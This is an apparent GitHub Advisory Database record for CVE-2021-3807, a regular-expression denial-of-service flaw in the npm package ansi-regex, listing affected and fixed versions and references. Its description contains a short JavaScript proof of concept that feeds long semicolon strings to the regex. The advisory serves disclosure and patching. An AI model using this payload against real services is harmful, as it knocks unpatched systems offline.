{"id":"GHSA-93q8-gq69-wqmw","revision":"c7caa07d3cff4ad58fda84b0aa596589","records":[{"revision":"c7caa07d3cff4ad58fda84b0aa596589","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-93q8-gq69-wqmw","aliases":["CVE-2021-3807"],"title":"Inefficient Regular Expression Complexity in chalk/ansi-regex","description":"ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.\n\n**Proof of Concept**\n```js\nimport ansiRegex from 'ansi-regex';\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\n    ansiRegex().test(attack_str)\n    var time_cost = Date.now() - time;\n    console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n}\n```\nThe ReDOS is mainly due to the sub-patterns `[[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`","state":0,"publishedAt":"2021-09-20T20:20:09+00:00","modifiedAt":"2026-09-10T03:49:08.5702656+00:00","affected":[{"ecosystem":"npm","name":"ansi-regex","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"6.0.0"},{"kind":"fixed","version":"6.0.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ansi-regex","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.0.0"},{"kind":"fixed","version":"5.0.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ansi-regex","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"4.0.0"},{"kind":"fixed","version":"4.1.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"ansi-regex","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"},{"kind":"fixed","version":"3.0.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3807","https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311","https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774","https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1","https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a","https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9","https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8","https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908","https://github.com/chalk/ansi-regex","https://github.com/chalk/ansi-regex/releases/tag/v6.0.1","https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994","https://security.netapp.com/advisory/ntap-20221014-0002","https://www.oracle.com/security-alerts/cpuapr2022.html"],"sourceUrl":"https://github.com/advisories/GHSA-93q8-gq69-wqmw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-93q8-gq69-wqmw","identifiers":["GHSA-93q8-gq69-wqmw","CVE-2021-3807"]},"retained":false,"historicalAffected":[]}],"coverage":[]}